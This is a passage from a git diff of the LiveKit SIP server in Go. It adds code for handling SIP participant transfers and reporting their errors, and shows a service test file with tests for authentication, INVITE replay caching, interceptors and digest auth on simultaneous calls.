context.WithTimeout(context.WithoutCancel(ctx), timeout) + defer cdone() + + headers := maps.Clone(req.Headers) // shallow clone - string/string map. Needed to avoid mutating psrpc req + out := s.processParticipantTransfer(ctx, req.SipCallId, req.TransferTo, headers, req.PlayDialtone) + select { + case pending.Done <- out: + default: + s.log.Errorw("pending transfer received more than one error", out.Err, "callID", req.SipCallId, "transferTo", req.TransferTo) + } + pending.Outcome.Store(&out) + close(pending.Done) + + s.mu.Lock() + delete(s.pendingTransfers, LocalTag(req.SipCallId)) + s.mu.Unlock() + }() + } + + select { + case out := <-pending.Done: + if out.Err == nil { + // If there is more than one RPC call waiting on the result, + // this ensures we return the same outcome to all callers. + if pOut := pending.Outcome.Load(); pOut != nil { + out = *pOut + } + } + return transferResponse(out), out.Err + case <-ctx.Done(): + err := psrpc.NewError(psrpc.Canceled, ctx.Err()) + return transferResponse(transferOutcome{Err: err}), err + } +} + +// transferResponse adds more details to the outcome of a transfer. +func transferResponse(out transferOutcome) *rpc.InternalTransferSIPParticipantResponse { + resp := &rpc.InternalTransferSIPParticipantResponse{ + TransferId: out.TransferID, + Status: livekit.SIPTransferStatus_STS_TRANSFER_SUCCESSFUL, + Reason: livekit.SIPTransferReason_STR_COMPLETED, + } + if out.Err == nil { + return resp + } + resp.Status = livekit.SIPTransferStatus_STS_TRANSFER_FAILED + resp.Reason = livekit.SIPTransferReason_STR_UNSPECIFIED + + var sipStatus *livekit.SIPStatus + switch { + case errors.Is(out.Err, errTransferCallEnded): + resp.Reason = livekit.SIPTransferReason_STR_CALL_ENDED + case errors.Is(out.Err, errReferSubscriptionTerminated): + resp.Reason = livekit.SIPTransferReason_STR_SUBSCRIPTION_TERMINATED + case errors.As(out.Err, &sipStatus): + // The transferee, or its provider, answered with a final status. + resp.Reason = livekit.SIPTransferReason_STR_REJECTED + resp.SipStatus = sipStatus + case errors.Is(out.Err, context.DeadlineExceeded): + resp.Reason = livekit.SIPTransferReason_STR_RINGING_TIMEOUT + } + return resp +} + +func (s *Service) getOrCreatePendingTransfer(callID string, transferTo string) (*PendingTransfer, bool) { + s.mu.Lock() + defer s.mu.Unlock() + + keyCall := LocalTag(callID) + pending, ok := s.pendingTransfers[keyCall] + if ok { + return pending, false + } + + pending = &PendingTransfer{ + CallID: callID, + TransferTo: transferTo, + Done: make(chan transferOutcome, 1), + } + s.pendingTransfers[keyCall] = pending + return pending, true +} + +func (s *Service) processParticipantTransfer(ctx context.Context, callID string, transferTo string, headers map[string]string, dialtone bool) transferOutcome { + // Look for call both in client (outbound) and server (inbound) + s.cli.cmu.Lock() + out := s.cli.activeCalls[LocalTag(callID)] + s.cli.cmu.Unlock() + + if out != nil { + s.mon.TransferStarted(stats.Outbound) + transferID, err := out.transferCall(ctx, transferTo, headers, dialtone) + if err != nil { + s.mon.TransferFailed(stats.Outbound, extractTransferErrorReason(err), true) + return transferOutcome{TransferID: transferID, Err: err} + } + s.mon.TransferSucceeded(stats.Outbound) + return transferOutcome{TransferID: transferID} + } + + s.srv.cmu.Lock() + in := s.srv.byLocalTag[LocalTag(callID)] + s.srv.cmu.Unlock() + + if in != nil { + s.mon.TransferStarted(stats.Inbound) + transferID, err := in.transferCall(ctx, transferTo, headers, dialtone) + if err != nil { + s.mon.TransferFailed(stats.Inbound, extractTransferErrorReason(err), true) + return transferOutcome{TransferID: transferID, Err: err} + } + s.mon.TransferSucceeded(stats.Inbound) + return transferOutcome{TransferID: transferID} + } + + err := psrpc.NewErrorf(psrpc.NotFound, "unknown call") + s.mon.TransferFailed(stats.Inbound, "unknown_call", false) + return transferOutcome{Err: err} +} + +func (s *Service) checkInternalProviderRequest(ctx context.Context, callID string) error { + // Look for call both in client (outbound) and server (inbound) + s.cli.cmu.Lock() + out := s.cli.activeCalls[LocalTag(callID)] + s.cli.cmu.Unlock() + + if out != nil { + return s.validateCallProvider(out.state) + } + + s.srv.cmu.Lock() + in := s.srv.byLocalTag[LocalTag(callID)] + s.srv.cmu.Unlock() + + if in != nil { + return s.validateCallProvider(in.state) + } + + return psrpc.NewErrorf(psrpc.NotFound, "unknown call") +} + +func (s *Service) validateCallProvider(state *CallState) error { + info := state.Info() + if state == nil || info == nil || info.ProviderInfo == nil { + return nil // No provider info to validate + } + + // Check if provider is internal and prevent transfer is enabled + if info.ProviderInfo.Type == livekit.ProviderType_PROVIDER_TYPE_INTERNAL && info.ProviderInfo.PreventTransfer { + return psrpc.NewErrorf(psrpc.Unimplemented, "we don't yet support transfers for this phone number type") + } + + return nil +} + +// extractTransferErrorReason extracts a user-friendly reason string from an error +func extractTransferErrorReason(err error) string { + if err == nil { + return "unknown" + } + + // Check for livekit.SIPStatus errors first + var sipStatus *livekit.SIPStatus + if errors.As(err, &sipStatus) { + // Use ShortName() to get the status code name without "SIP_STATUS_" prefix + // and convert to lowercase for metric labels + return strings.ToLower(sipStatus.Code.ShortName()) + } + + // Transfer outcomes the bridge decides itself. They carry no SIP status, so + // the switch below would report them all as psrpc_error. + if errors.Is(err, errTransferCallEnded) { + return "call_ended" + } + if errors.Is(err, errReferSubscriptionTerminated) { + return "refer_terminated" + } + + // Check for psrpc errors + var psrpcErr psrpc.Error + if errors.As(err, &psrpcErr) { + switch psrpcErr.Code() { + case psrpc.NotFound: + return "not_found" + case psrpc.Canceled: + return "canceled" + case psrpc.DeadlineExceeded: + return "timeout" + case psrpc.InvalidArgument: + return "invalid_argument" + case psrpc.Internal: + return "internal_error" + default: + return "psrpc_error" + } + } + + // Check for context errors + if errors.Is(err, context.Canceled) { + return "canceled" + } + if errors.Is(err, context.DeadlineExceeded) { + return "timeout" + } + + // Return "other" for unknown errors + return "other" +} diff --git a/pkg/sip/service_test.go b/pkg/sip/service_test.go index 02f2e9c03..9b2ba887b 100644 --- a/pkg/sip/service_test.go +++ b/pkg/sip/service_test.go @@ -1,1448 +1,1448 @@ -package sip - -import ( - "context" - "fmt" - "log/slog" - "math/rand" - "slices" - "sync" - "sync/atomic" - "testing" - "time" - - "github.com/go-logr/logr" - "github.com/icholy/digest" - "github.com/stretchr/testify/require" - - msdk "github.com/livekit/media-sdk" - - "github.com/livekit/mediatransportutil/pkg/rtcconfig" - "github.com/livekit/protocol/livekit" - "github.com/livekit/protocol/logger" - "github.com/livekit/protocol/rpc" - "github.com/livekit/psrpc" - "github.com/livekit/sipgo" - "github.com/livekit/sipgo/sip" - - "github.com/livekit/media-sdk/sdp" - - "github.com/livekit/sip/pkg/config" - "github.com/livekit/sip/pkg/stats" -) - -const ( - testPortSIPMin = 30000 - testPortSIPMax = 30050 - - testPortRTPMin = 30100 - testPortRTPMax = 32000 -) - -func getResponseOrFail(t *testing.T, tx sip.ClientTransaction) *sip.Response { - select { - case <-tx.Done(): - t.Fatal("Transaction failed to complete") - case res := <-tx.Responses(): - return res - } - - return nil -} -func getResponseOrFailTimeout(t *testing.T, ctx context.Context, tx sip.ClientTransaction) *sip.Response { - t.Helper() - var ctxDone <-chan struct{} = nil - if ctx != nil { - ctxDone = ctx.Done() - } - select { - // Avoid using t.Context, this helper is used in test cleanup code as well. - case <-ctxDone: - t.Fatal("Context cancelled") - case <-tx.Done(): - t.Fatal("Transaction failed to complete") - case res := <-tx.Responses(): - return res - } - - return nil -} - -func getFinalResponseOrFail(t *testing.T, ctx context.Context, tx sip.ClientTransaction) *sip.Response { - var res *sip.Response - for { - res = getResponseOrFailTimeout(t, ctx, tx) - if res.StatusCode >= 200 { - break - } - } - return res -} - -func expectNoResponse(t *testing.T, tx sip.ClientTransaction) { - select { - case res := <-tx.Responses(): - t.Fatal("unexpected result:", res) - case <-time.After(time.Second / 2): - // ok - case <-tx.Done(): - // ok - } -} - -type TestHandler struct { - GetAuthCredentialsFunc func(ctx context.Context, call *rpc.SIPCall) (AuthInfo, error) - DispatchCallFunc func(ctx context.Context, info *CallInfo) CallDispatch - OnInboundInfoFunc func(log logger.Logger, call *rpc.SIPCall, headers Headers) - OnSessionEndFunc func(ctx context.Context, callIdentifier *CallIdentifier, state *CallState, reason string) - // FeatureFlags are returned by the default DispatchCall. - FeatureFlags map[string]string -} - -func (h TestHandler) GetAuthCredentials(ctx context.Context, call *rpc.SIPCall) (AuthInfo, error) { - if h.GetAuthCredentialsFunc != nil { - return h.GetAuthCredentialsFunc(ctx, call) - } - return AuthInfo{Result: AuthAccept}, nil -} - -func (h TestHandler) DispatchCall(ctx context.Context, info *CallInfo) CallDispatch { - if h.DispatchCallFunc != nil { - return h.DispatchCallFunc(ctx, info) - } - identity := fmt.Sprintf("test-participant-%s", info.Call.SipCallId) - return CallDispatch{ - Result: DispatchAccept, - Room: RoomConfig{ - RoomName: "test-room", - Participant: ParticipantConfig{ - Identity: identity, - Name: identity, - }, - }, - FeatureFlags: h.FeatureFlags, - } -} - -func (h TestHandler) GetMediaProcessor(_ []livekit.SIPFeature, _ map[string]string, _ string, _ MediaProcessorOpts) msdk.PCM16Processor { - return nil -} - -func (h TestHandler) RegisterTransferSIPParticipantTopic(sipCallId string) error { - // no-op - return nil -} - -func (h TestHandler) DeregisterTransferSIPParticipantTopic(sipCallId string) { - // no-op -} - -func (h TestHandler) OnInboundInfo(log logger.Logger, call *rpc.SIPCall, headers Headers) { - if h.OnInboundInfoFunc != nil { - h.OnInboundInfoFunc(log, call, headers) - } -} - -func (h TestHandler) OnSessionEnd(ctx context.Context, callIdentifier *CallIdentifier, state *CallState, reason string) { - if h.OnSessionEndFunc != nil { - h.OnSessionEndFunc(ctx, callIdentifier, state, reason) - } -} - -func testInvite(t *testing.T, h Handler, hidden bool, from, to string, test func(tx sip.ClientTransaction), serverOpts ...ServerOption) { - sipPort := rand.Intn(testPortSIPMax-testPortSIPMin) + testPortSIPMin - localIP, err := config.GetLocalIP() - require.NoError(t, err) - - sipServerAddress := fmt.Sprintf("%s:%d", localIP, sipPort) - - mon, err := stats.NewMonitor(&config.Config{MaxCpuUtilization: 0.9}) - require.NoError(t, err) - - // Use a no-op logger to avoid panics from async logging after test completion - log := logger.NewTestLogger(t) - s, err := NewService("", &config.Config{ - HideInboundPort: hidden, - SIPPort: sipPort, - SIPPortListen: sipPort, - RTPPort: rtcconfig.PortRange{Start: testPortRTPMin, End: testPortRTPMax}, - }, mon, log, func(projectID string, _ *rpc.SIPCallObservability, _ *livekit.SIPCallInfo) StateHandler { - return NewRPCStateHandler(nil) - }, serverOpts...) - require.NoError(t, err) - require.NotNil(t, s) - t.Cleanup(s.Stop) - - s.SetHandler(h) - - require.NoError(t, s.Start()) - - sipUserAgent, err := sipgo.NewUA( - sipgo.WithUserAgent(from), - sipgo.WithUserAgentLogger(slog.New(logger.ToSlogHandler(s.log))), - ) - require.NoError(t, err) - - sipClient, err := sipgo.NewClient(sipUserAgent) - require.NoError(t, err) - - offer, err := sdp.NewOfferWith(defaultCodecs, localIP, 0xB0B, sdp.EncryptionNone) - require.NoError(t, err) - offerData, err := offer.SDP.Marshal() - require.NoError(t, err) - - inviteRecipent := sip.Uri{User: to, Host: sipServerAddress} - inviteRequest := sip.NewRequest(sip.INVITE, inviteRecipent) - inviteRequest.SetDestination(sipServerAddress) - inviteRequest.SetBody(offerData) - inviteRequest.AppendHeader(sip.NewHeader("Content-Type", "application/sdp")) - - tx, err := sipClient.TransactionRequest(inviteRequest) - require.NoError(t, err) - t.Cleanup(tx.Terminate) - - test(tx) -} - -func TestService_AuthFailure(t *testing.T) { - const ( - expectedFromUser = "foo" - expectedToUser = "bar" - ) - h := &TestHandler{ - GetAuthCredentialsFunc: func(ctx context.Context, call *rpc.SIPCall) (AuthInfo, error) { - require.Equal(t, expectedFromUser, call.From.User) - require.Equal(t, expectedToUser, call.To.User) - return AuthInfo{}, fmt.Errorf("Auth Failure") - }, - } - testInvite(t, h, false, expectedFromUser, expectedToUser, func(tx sip.ClientTransaction) { - res := getResponseOrFail(t, tx) - require.Equal(t, sip.StatusCode(100), res.StatusCode) - - res = getResponseOrFail(t, tx) - require.Equal(t, sip.StatusCode(503), res.StatusCode) - }) -} - -func TestService_DispatchUnavailable(t *testing.T) { - const ( - expectedFromUser = "foo" - expectedToUser = "bar" - ) - h := &TestHandler{ - GetAuthCredentialsFunc: func(ctx context.Context, call *rpc.SIPCall) (AuthInfo, error) { - return AuthInfo{Result: AuthAccept}, nil - }, - DispatchCallFunc: func(ctx context.Context, info *CallInfo) CallDispatch { - return CallDispatch{Result: DispatchServiceUnavailable} - }, - } - testInvite(t, h, false, expectedFromUser, expectedToUser, func(tx sip.ClientTransaction) { - res := getResponseOrFail(t, tx) - require.Equal(t, sip.StatusCode(100), res.StatusCode) - - res = getResponseOrFail(t, tx) - require.Equal(t, sip.StatusCode(180), res.StatusCode) - - res = getResponseOrFail(t, tx) - require.Equal(t, sip.StatusCode(503), res.StatusCode) - }) -} - -func TestService_AuthDrop(t *testing.T) { - const ( - expectedFromUser = "foo" - expectedToUser = "bar" - ) - h := &TestHandler{ - GetAuthCredentialsFunc: func(ctx context.Context, call *rpc.SIPCall) (AuthInfo, error) { - require.Equal(t, expectedFromUser, call.From.User) - require.Equal(t, expectedToUser, call.To.User) - return AuthInfo{Result: AuthDrop}, nil - }, - } - testInvite(t, h, true, expectedFromUser, expectedToUser, func(tx sip.ClientTransaction) { - expectNoResponse(t, tx) - }) -} - -// TestService_RejectedInviteCacheReplay verifies that a second INVITE -// reusing the same Call-ID and From-tag after a final 4xx response gets -// the cached response replayed without invoking the auth/dispatch -// handlers a second time. This guards the dedup that absorbs -// provider-level retries (same Call-ID + From-tag, new SIP transaction) -// after we've already sent a terminal rejection. -func TestService_RejectedInviteCacheReplay(t *testing.T) { - const ( - fromUser = "caller@example.com" - toUser = "callee@example.com" - callID = "rejected-invite-replay-test@example.com" - fromTag = "fixed-from-tag-replay" - ) - - var authCalls, dispatchCalls atomic.Int32 - - h := &TestHandler{ - GetAuthCredentialsFunc: func(ctx context.Context, call *rpc.SIPCall) (AuthInfo, error) { - authCalls.Add(1) - return AuthInfo{Result: AuthAccept}, nil - }, - DispatchCallFunc: func(ctx context.Context, info *CallInfo) CallDispatch { - dispatchCalls.Add(1) - return CallDispatch{Result: DispatchNoRuleReject} - }, - OnSessionEndFunc: func(ctx context.Context, callIdentifier *CallIdentifier, state *CallState, reason string) { - // no-op - }, - } - - sipPort := rand.Intn(testPortSIPMax-testPortSIPMin) + testPortSIPMin - localIP, err := config.GetLocalIP() - require.NoError(t, err) - sipServerAddress := fmt.Sprintf("%s:%d", localIP, sipPort) - - mon, err := stats.NewMonitor(&config.Config{MaxCpuUtilization: 0.9}) - require.NoError(t, err) - - log := logger.LogRLogger(logr.Discard()) - s, err := NewService("", &config.Config{ - SIPPort: sipPort, - SIPPortListen: sipPort, - RTPPort: rtcconfig.PortRange{Start: testPortRTPMin, End: testPortRTPMax}, - }, mon, log, func(projectID string, _ *rpc.SIPCallObservability, _ *livekit.SIPCallInfo) StateHandler { - return NewRPCStateHandler(nil) - }) - require.NoError(t, err) - require.NotNil(t, s) - s.SetHandler(h) - require.NoError(t, s.Start()) - t.Cleanup(s.Stop) - - ua, err := sipgo.NewUA(sipgo.WithUserAgent(fromUser), - sipgo.WithUserAgentLogger(slog.New(logger.ToSlogHandler(s.log)))) - require.NoError(t, err) - client, err := sipgo.NewClient(ua) - require.NoError(t, err) - - offer, err := sdp.NewOfferWith(defaultCodecs, localIP, 0xB0B, sdp.EncryptionNone) - require.NoError(t, err) - offerData, err := offer.SDP.Marshal() - require.NoError(t, err) - - sendInvite := func() *sip.Response { - recipient := sip.Uri{User: toUser, Host: sipServerAddress} - req := sip.NewRequest(sip.INVITE, recipient) - req.SetDestination(sipServerAddress) - req.SetBody(offerData) - req.AppendHeader(sip.NewHeader("Content-Type", "application/sdp")) - req.AppendHeader(sip.NewHeader("Call-ID", callID)) - req.AppendHeader(&sip.FromHeader{ - DisplayName: fromUser, - Address: sip.Uri{User: fromUser, Host: sipServerAddress}, - Params: sip.HeaderParams{{K: "tag", V: fromTag}}, - }) - tx, err := client.TransactionRequest(req) - require.NoError(t, err) - t.Cleanup(tx.Terminate) - return getFinalResponseOrFail(t, nil, tx) - } - - // First INVITE: full handler invocation, 404 from DispatchNoRuleReject. - res1 := sendInvite() - require.Equal(t, sip.StatusCode(404), res1.StatusCode) - require.Equal(t, int32(1), authCalls.Load()) - require.Equal(t, int32(1), dispatchCalls.Load()) - - // Second INVITE with the same Call-ID + From-tag should be served from - // the cache: same 404, but handlers must NOT be invoked again. - res2 := sendInvite() - require.Equal(t, sip.StatusCode(404), res2.StatusCode) - require.Equal(t, int32(1), authCalls.Load(), "auth handler must not be re-invoked on replay") - require.Equal(t, int32(1), dispatchCalls.Load(), "dispatch handler must not be re-invoked on replay") -} - -func TestService_OnSessionEnd(t *testing.T) { - const ( - expectedCallID = "test-call-id" - expectedSipCallID = "test-sip-call-id" - expectedProjectID = "test-project" - expectedReason = "test-reason" - ) - - callEnded := make(chan struct{}) - var receivedCallIdentifier *CallIdentifier - var receivedCallInfo *livekit.SIPCallInfo - var receivedReason string - - h := &TestHandler{ - GetAuthCredentialsFunc: func(ctx context.Context, call *rpc.SIPCall) (AuthInfo, error) { - return AuthInfo{Result: AuthAccept}, nil - }, - DispatchCallFunc: func(ctx context.Context, info *CallInfo) CallDispatch { - return CallDispatch{ - Result: DispatchAccept, - Room: RoomConfig{ - RoomName: "test-room", - Participant: ParticipantConfig{ - Identity: "test-participant", - }, - }, - } - }, - OnSessionEndFunc: func(ctx context.Context, callIdentifier *CallIdentifier, state *CallState, reason string) { - receivedCallIdentifier = callIdentifier - receivedCallInfo = state.CloneInfo() - receivedReason = reason - close(callEnded) - }, - } - - // Create a new service - sipPort := rand.Intn(testPortSIPMax-testPortSIPMin) + testPortSIPMin - - mon, err := stats.NewMonitor(&config.Config{MaxCpuUtilization: 0.9}) - require.NoError(t, err) - - // Use a no-op logger to avoid panics from async logging after test completion - log := logger.LogRLogger(logr.Discard()) - s, err := NewService("", &config.Config{ - SIPPort: sipPort, - SIPPortListen: sipPort, - RTPPort: rtcconfig.PortRange{Start: testPortRTPMin, End: testPortRTPMax}, - }, mon, log, func(projectID string, _ *rpc.SIPCallObservability, _ *livekit.SIPCallInfo) StateHandler { - return NewRPCStateHandler(nil) - }) - require.NoError(t, err) - require.NotNil(t, s) - t.Cleanup(s.Stop) - - s.SetHandler(h) - require.NoError(t, s.Start()) - - // Call OnSessionEnd directly with test data - h.OnSessionEnd(context.Background(), &CallIdentifier{ - ProjectID: expectedProjectID, - CallID: expectedCallID, - SipCallID: expectedSipCallID, - }, NewCallState(NewRPCStateHandler(nil), &livekit.SIPCallInfo{ - CallId: expectedCallID, - ParticipantAttributes: map[string]string{ - "projectID": expectedProjectID, - AttrSIPCallIDFull: expectedSipCallID, - }, - }), expectedReason) - - // Wait for OnSessionEnd to be called - select { - case <-callEnded: - // Success - case <-time.After(time.Second): - t.Fatal("OnSessionEnd was not called") - } - - // Verify the CallIdentifier fields are correctly populated - require.NotNil(t, receivedCallIdentifier, "CallIdentifier should not be nil") - require.Equal(t, expectedProjectID, receivedCallIdentifier.ProjectID, "CallIdentifier.ProjectID should match") - require.Equal(t, expectedCallID, receivedCallIdentifier.CallID, "CallIdentifier.CallID should match") - require.Equal(t, expectedSipCallID, receivedCallIdentifier.SipCallID, "CallIdentifier.SipCallID should match") - - // Verify the CallInfo fields - require.NotNil(t, receivedCallInfo, "CallInfo should not be nil") - require.Equal(t, expectedProjectID, receivedCallInfo.ParticipantAttributes["projectID"], "CallInfo.ParticipantAttributes[projectID] should match") - require.Equal(t, expectedCallID, receivedCallInfo.CallId, "CallInfo.CallId should match") - require.Equal(t, expectedSipCallID, receivedCallInfo.ParticipantAttributes[AttrSIPCallIDFull], "CallInfo.ParticipantAttributes[sip.callIDFull] should match") - require.Equal(t, expectedReason, receivedReason, "Reason should match") -} - -type interceptorRecorder struct { - mu sync.Mutex - logs []string -} - -func (l *interceptorRecorder) loggingInterceptor(name string) HandlerInterceptor { - return func(handler sipgo.RequestHandler) sipgo.RequestHandler { - return func(log *slog.Logger, req *sip.Request, tx sip.ServerTransaction) { - l.log(fmt.Sprintf("enter %s", name)) - handler(log, req, tx) - l.log(fmt.Sprintf("exit %s", name)) - } - } -} - -func (l *interceptorRecorder) log(msg string) { - l.mu.Lock() - defer l.mu.Unlock() - l.logs = append(l.logs, msg) -} - -func (l *interceptorRecorder) get() []string { - l.mu.Lock() - defer l.mu.Unlock() - return slices.Clone(l.logs) -} - -func TestService_Interceptors(t *testing.T) { - h := &TestHandler{} - done := make(chan struct{}, 1) - - sentinel := func(handler sipgo.RequestHandler) sipgo.RequestHandler { - return func(log *slog.Logger, req *sip.Request, tx sip.ServerTransaction) { - handler(log, req, tx) - done <- struct{}{} - } - } - - recorder := &interceptorRecorder{} - - sipPort := rand.Intn(testPortSIPMax-testPortSIPMin) + testPortSIPMin - localIP, err := config.GetLocalIP() - require.NoError(t, err) - sipServerAddress := fmt.Sprintf("%s:%d", localIP, sipPort) - - mon, err := stats.NewMonitor(&config.Config{MaxCpuUtilization: 0.9}) - require.NoError(t, err) - - // Use a no-op logger to avoid panics from async logging after test completion - log := logger.LogRLogger(logr.Discard()) - s, err := NewService("", &config.Config{ - HideInboundPort: false, - SIPPort: sipPort, - SIPPortListen: sipPort, - RTPPort: rtcconfig.PortRange{Start: testPortRTPMin, End: testPortRTPMax}, - }, mon, log, func(projectID string, _ *rpc.SIPCallObservability, _ *livekit.SIPCallInfo) StateHandler { - return NewRPCStateHandler(nil) - }, WithInterceptors(sentinel, recorder.loggingInterceptor("a"), recorder.loggingInterceptor("b"))) - require.NoError(t, err) - require.NotNil(t, s) - t.Cleanup(s.Stop) - s.SetHandler(h) - require.NoError(t, s.Start()) - - sipUserAgent, err := sipgo.NewUA( - sipgo.WithUserAgent("from-user"), - sipgo.WithUserAgentLogger(slog.New(logger.ToSlogHandler(s.log))), - ) - require.NoError(t, err) - - client, err := sipgo.NewClient(sipUserAgent) - require.NoError(t, err) - recipient := sip.Uri{Host: sipServerAddress} - req := sip.NewRequest(sip.OPTIONS, recipient) - req.SetDestination(sipServerAddress) - req.AppendHeader(sip.NewHeader("Content-Type", "application/sdp")) - tx, err := client.TransactionRequest(req) - require.NoError(t, err) - t.Cleanup(tx.Terminate) - - select { - case <-done: - case <-time.After(time.Second * 2): - t.Fatal("handler did not return") - } - - wantLogs := []string{ - "enter a", - "enter b", - "exit b", - "exit a", - } - require.Equal(t, wantLogs, recorder.get()) -} - -// TestDigestAuthSimultaneousCalls tests that simultaneous calls from the same "from" number -// don't interfere with each other's digest authentication state -func TestDigestAuthSimultaneousCalls(t *testing.T) { - const ( - sameFromUser = "callcenter@example.com" - toUser1 = "agent1@example.com" - toUser2 = "agent2@example.com" - username = "testuser" - password = "testpass" - ) - - // Track authentication attempts to verify they're independent - authAttempts := make(map[string]int) - var authMutex sync.Mutex - - h := &TestHandler{ - GetAuthCredentialsFunc: func(ctx context.Context, call *rpc.SIPCall) (AuthInfo, error) { - authMutex.Lock() - defer authMutex.Unlock() - - // Track each call by its SIP Call ID - sipCallID := call.SipCallId - authAttempts[sipCallID]++ - - // Return password authentication required - return AuthInfo{ - Result: AuthPassword, - Auth: InboundAuth{ - Username: username, - Password: password, - }, - }, nil - }, - DispatchCallFunc: func(ctx context.Context, info *CallInfo) CallDispatch { - return CallDispatch{ - Result: DispatchNoRuleReject, - // No room config needed for reject - } - }, - OnSessionEndFunc: func(ctx context.Context, callIdentifier *CallIdentifier, state *CallState, reason string) { - // No-op for tests to avoid async logging issues - }, - } - - // Create service with authentication enabled - sipPort := rand.Intn(testPortSIPMax-testPortSIPMin) + testPortSIPMin - localIP, err := config.GetLocalIP() - require.NoError(t, err) - - sipServerAddress := fmt.Sprintf("%s:%d", localIP, sipPort) - - mon, err := stats.NewMonitor(&config.Config{MaxCpuUtilization: 0.9}) - require.NoError(t, err) - - // Use a no-op logger to avoid panics from async logging after test completion - log := logger.LogRLogger(logr.Discard()) - s, err := NewService("", &config.Config{ - HideInboundPort: false, // Enable authentication - SIPPort: sipPort, - SIPPortListen: sipPort, - RTPPort: rtcconfig.PortRange{Start: testPortRTPMin, End: testPortRTPMax}, - }, mon, log, func(projectID string, _ *rpc.SIPCallObservability, _ *livekit.SIPCallInfo) StateHandler { - return NewRPCStateHandler(nil) - }) - require.NoError(t, err) - require.NotNil(t, s) - t.Cleanup(s.Stop) - - s.SetHandler(h) - require.NoError(t, s.Start()) - - // Create two SIP clients for simultaneous calls - sipUserAgent1, err := sipgo.NewUA( - sipgo.WithUserAgent(sameFromUser), - sipgo.WithUserAgentLogger(slog.New(logger.ToSlogHandler(s.log))), - ) - require.NoError(t, err) - - sipUserAgent2, err := sipgo.NewUA( - sipgo.WithUserAgent(sameFromUser), - sipgo.WithUserAgentLogger(slog.New(logger.ToSlogHandler(s.log))), - ) - require.NoError(t, err) - - sipClient1, err := sipgo.NewClient(sipUserAgent1) - require.NoError(t, err) - - sipClient2, err := sipgo.NewClient(sipUserAgent2) - require.NoError(t, err) - - // Create SDP offers - offer1, err := sdp.NewOfferWith(defaultCodecs, localIP, 0xB0B, sdp.EncryptionNone) - require.NoError(t, err) - offerData1, err := offer1.SDP.Marshal() - require.NoError(t, err) - - offer2, err := sdp.NewOfferWith(defaultCodecs, localIP, 0xB0C, sdp.EncryptionNone) - require.NoError(t, err) - offerData2, err := offer2.SDP.Marshal() - require.NoError(t, err) - - // Create two simultaneous INVITE requests - inviteRecipient1 := sip.Uri{User: toUser1, Host: sipServerAddress} - inviteRequest1 := sip.NewRequest(sip.INVITE, inviteRecipient1) - inviteRequest1.SetDestination(sipServerAddress) - inviteRequest1.SetBody(offerData1) - inviteRequest1.AppendHeader(sip.NewHeader("Content-Type", "application/sdp")) - // Set different Call-IDs for each request - inviteRequest1.AppendHeader(sip.NewHeader("Call-ID", "call1-123@test.com")) - - inviteRecipient2 := sip.Uri{User: toUser2, Host: sipServerAddress} - inviteRequest2 := sip.NewRequest(sip.INVITE, inviteRecipient2) - inviteRequest2.SetDestination(sipServerAddress) - inviteRequest2.SetBody(offerData2) - inviteRequest2.AppendHeader(sip.NewHeader("Content-Type", "application/sdp")) - // Set different Call-IDs for each request - inviteRequest2.AppendHeader(sip.NewHeader("Call-ID", "call2-456@test.com")) - - // Start both transactions simultaneously - tx1, err := sipClient1.TransactionRequest(inviteRequest1) - require.NoError(t, err) - t.Cleanup(tx1.Terminate) - - tx2, err := sipClient2.TransactionRequest(inviteRequest2) - require.NoError(t, err) - t.Cleanup(tx2.Terminate) - - // Both should receive 100 Trying first, then 407 Unauthorized with different challenges - res1 := getResponseOrFail(t, tx1) - require.Equal(t, sip.StatusCode(100), res1.StatusCode, "First call should receive 100 Trying") - res1 = getResponseOrFail(t, tx1) - require.Equal(t, sip.StatusCode(407), res1.StatusCode, "First call should receive 407 Unauthorized") - - res2 := getResponseOrFail(t, tx2) - require.Equal(t, sip.StatusCode(100), res2.StatusCode, "Second call should receive 100 Trying") - res2 = getResponseOrFail(t, tx2) - require.Equal(t, sip.StatusCode(407), res2.StatusCode, "Second call should receive 407 Unauthorized") - - // Verify both calls have different Proxy-Authenticate headers (different nonces) - authHeader1 := res1.GetHeader("Proxy-Authenticate") - require.NotNil(t, authHeader1, "First response should have Proxy-Authenticate header") - - authHeader2 := res2.GetHeader("Proxy-Authenticate") - require.NotNil(t, authHeader2, "Second response should have Proxy-Authenticate header") - - // The challenges should be different (different nonces) - require.NotEqual(t, authHeader1.Value(), authHeader2.Value(), - "Different calls should have different authentication challenges") - - // Now test the complete authentication flow for both calls - // Parse challenges and compute digest responses - challenge1, err := digest.ParseChallenge(authHeader1.Value()) - require.NoError(t, err, "Should be able to parse first challenge") - - challenge2, err := digest.ParseChallenge(authHeader2.Value()) - require.NoError(t, err, "Should be able to parse second challenge") - - // Compute digest responses for both calls - cred1, err := digest.Digest(challenge1, digest.Options{ - Method: "INVITE", - URI: inviteRecipient1.String(), - Username: username, - Password: password, - }) - require.NoError(t, err, "Should be able to compute digest response for first call") - - cred2, err := digest.Digest(challenge2, digest.Options{ - Method: "INVITE", - URI: inviteRecipient2.String(), - Username: username, - Password: password, - }) - require.NoError(t, err, "Should be able to compute digest response for second call") - - // Create authenticated INVITE requests for both calls - authInviteRequest1 := sip.NewRequest(sip.INVITE, inviteRecipient1) - authInviteRequest1.SetDestination(sipServerAddress) - authInviteRequest1.SetBody(offerData1) - authInviteRequest1.AppendHeader(sip.NewHeader("Content-Type", "application/sdp")) - authInviteRequest1.AppendHeader(sip.NewHeader("Call-ID", "call1-123@test.com")) - authInviteRequest1.AppendHeader(sip.NewHeader("Proxy-Authorization", cred1.String())) - - authInviteRequest2 := sip.NewRequest(sip.INVITE, inviteRecipient2) - authInviteRequest2.SetDestination(sipServerAddress) - authInviteRequest2.SetBody(offerData2) - authInviteRequest2.AppendHeader(sip.NewHeader("Content-Type", "application/sdp")) - authInviteRequest2.AppendHeader(sip.NewHeader("Call-ID", "call2-456@test.com")) - authInviteRequest2.AppendHeader(sip.NewHeader("Proxy-Authorization", cred2.String())) - - // Send authenticated requests - authTx1, err := sipClient1.TransactionRequest(authInviteRequest1) - require.NoError(t, err) - t.Cleanup(authTx1.Terminate) - - authTx2, err := sipClient2.TransactionRequest(authInviteRequest2) - require.NoError(t, err) - t.Cleanup(authTx2.Terminate) - - // Both authenticated requests should receive 100 Trying first - authRes1 := getResponseOrFail(t, authTx1) - require.Equal(t, sip.StatusCode(100), authRes1.StatusCode, "First authenticated call should receive 100 Trying") - - authRes2 := getResponseOrFail(t, authTx2) - require.Equal(t, sip.StatusCode(100), authRes2.StatusCode, "Second authenticated call should receive 100 Trying") - - // Both should now proceed with authentication (either 200 OK or continue with call processing) - authRes1 = 